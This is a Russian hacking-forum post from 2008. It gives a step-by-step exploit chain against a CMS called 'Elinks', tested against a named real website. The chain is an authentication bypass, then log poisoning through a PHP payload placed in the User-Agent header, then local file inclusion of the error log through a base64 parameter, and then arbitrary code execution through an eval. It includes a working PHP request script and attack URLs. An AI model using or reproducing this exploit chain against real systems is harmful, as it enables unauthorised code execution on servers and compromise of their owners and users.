Показать сообщение отдельно

  #6  
Старый 12.12.2008, 20:35
M4g
Участник форума
Регистрация: 08.05.2007
Сообщений: 164
Провел на форуме:
466673

Репутация: 784
Отправить сообщение для M4g с помощью ICQ
По умолчанию

Цитата:
Сообщение от xcedz  
[INDENT]Еще вариант.
Имеется файл .htaccess смотрим пути,
в нашем случае была такая строчка


...modules/content/pub.content.php?url=/celebs/view&view=[sql inj]
угу, только по дефолту там в
./modules/.htaccess

PHP код:
Options -Indexes
php_flag short_open_tag Off

<Files *.php>
    
Order deny,allow
    Deny from all
</Files>

<
Files *.ini>
    
Order deny,allow
    Deny from all
</Files>

<
Files pub.*.php>
    
Order deny,allow
    Allow from all
</Files
так что по дефолту вряд ли такое пройдет =)
теперь мое прохождение:

Elinks LFI

1. Логинимся в asm_admin.php с любым логином и паролем;

2. получаем сообщение о неверном пароле, но, тем не менее, $_SESSION['user']['member_id']) становится равным 0

3../core/asm_config.php
PHP код:
if ( strpos($_SERVER['HTTP_USER_AGENT'], 'vdebug') ) { set_error_handler('error_handler'); }
function 
error_handler ($errno$errmsg$filename$linenum$vars)
// BEGIN function
    
if ($errno == 2048 || error_reporting() == 0) { return true; }
    
    
$error_file $_SERVER['DOCUMENT_ROOT'].'/files/logs/error.xml';
    
$_request_url = (true == isset($_SERVER['REQUEST_URI'])) ? 'http://'.$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] : 'http://'.$_SERVER['HTTP_HOST'].'/';
    
$_http_referer = (true == isset($_SERVER['HTTP_REFERER'])) ? $_SERVER['HTTP_REFERER'] : '';
    
$_remote_addr = (true == isset($_SERVER['REMOTE_ADDR'])) ? $_SERVER['REMOTE_ADDR'] : '';
    
$_http_user_agent = (true == isset($_SERVER['HTTP_USER_AGENT'])) ? $_SERVER['HTTP_USER_AGENT'] : '';
    
$error_content '
    <error date="'
.date("Y-m-d H:i:s").'">
        <request_url>'
.$_request_url.'</request_url>
        <http_referer>'
.$_http_referer.'</http_referer>
        <remote_addr>'
.$_remote_addr.'</remote_addr>
        <http_user_agent>'
.$_http_user_agent.'</http_user_agent>
        <error_number>'
.$errno.'</error_number>
        <error_message>'
.$errmsg.'</error_message>
        <file_name>'
.$filename.'</file_name>
        <line_number>'
.$linenum.'</line_number>
    </error>
</xml>'
;
    
$fp = @fopen($error_file'r+');
    if (
$fp) {
        
$cursor_position filesize($error_file)-7;
        
fseek($fp$cursor_position);
        
fwrite($fp$error_content);
        
fclose($fp);
    } else {
        
$fp fopen($error_file'w');
        if (
$fp) {
            
fwrite($fp"<xml>\n".$error_content);
            
fclose($fp);
        }
    } 
4. под этот код небольшой хттп-пакет с помощью скрипта
PHP код:
<?

set_time_limit 
(0);
$site='yobt.com';
$path='/asm_admin.php?update=1'

    
$fp fsockopen($site80$errno$errstr30);    

        
$out "GET $path HTTP/1.1\r\n";
        
$out .= "Host: $site\r\n";
       
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
          
$out .= "Connection: Close\r\n";
        
$out .= "User-Agent: Opera vdebug <?php phpinfo() ?>\r\n"//тут наш код для инклуда
        
$out .= "Referer: http://laa.com\r\n";

        
$out .= "Cookie: 1=2;\r\n\r\n";

     
fwrite($fp$out);

    while (!
feof($fp)) 
{
print 
fread($fp4800);
}
print 
$out;


?>
вместо asm_admin.php?update=1 другой любой файл, который генерирует ошибку похапе (для данного сайта подойдет http://yobt.com/asm.pornstars.search.php);

5. наше пхпинфо, как и прописано в коде, добавляется в ./files/logs/error.xml;

6. в ./asm_clean.php успешно проходим авторизацию
PHP код:
if (isset($_SESSION['user']['member_id']) != '1' && SERVER_IP != $_SERVER['REMOTE_ADDR']) {
    die(
'Access denied');

(так как логинились ранее в админке и переменная $_SESSION['user']['member_id'] существует);


7. идем ниже по коду и видим
PHP код:
if (false == isset($_GET['asm'])) { die('Map command not found'); }
$file base64_decode($_GET['asm']);
...
include(
PATH.$file); 
8. остается только заинклудить наш error.xml =)
по ссылке http://yobt.com/asm_clean.php?asm=L2ZpbGVzL2xvZ3MvZXJyb3IueG1s видим вывод пхпинфо (если, конечно, авторизовались, как я писал выше)
---------------
Elinks arbitrary code execution
(для данного сайта не подойдет, так как админы из дистрибутива удалили дефолтный файл ./core/asm_xml_content.php, но все же)
1. ./core/asm_xml_content.php
PHP код:
<?php
error_reporting
(7);
$page = (true == isset($_GET['page'])) ? $_GET['page'] : 'index';
$page $_SERVER['DOCUMENT_ROOT'].'/files/tpl/'.$page.'.xml';

if (
true == file_exists($page)) {
    
$filemtime filemtime($page);
    
$filemtime = ($filemtime 10000) ? $filemtime time()+3600;
    
$fp fopen($page'r');
    
$content fread($fpfilesize($page));
    
fclose($fp);
    
$content "?>".$content."<?php ";
    
ob_start();
    eval (
$content);
2. Добавляем в ./files/error.xml наш похапе способом, описанным выше;
3. Выполняем наш код через http://elinks/core/asm_xml_content.php?page=../logs/error

Последний раз редактировалось M4g; 12.12.2008 в 20:41..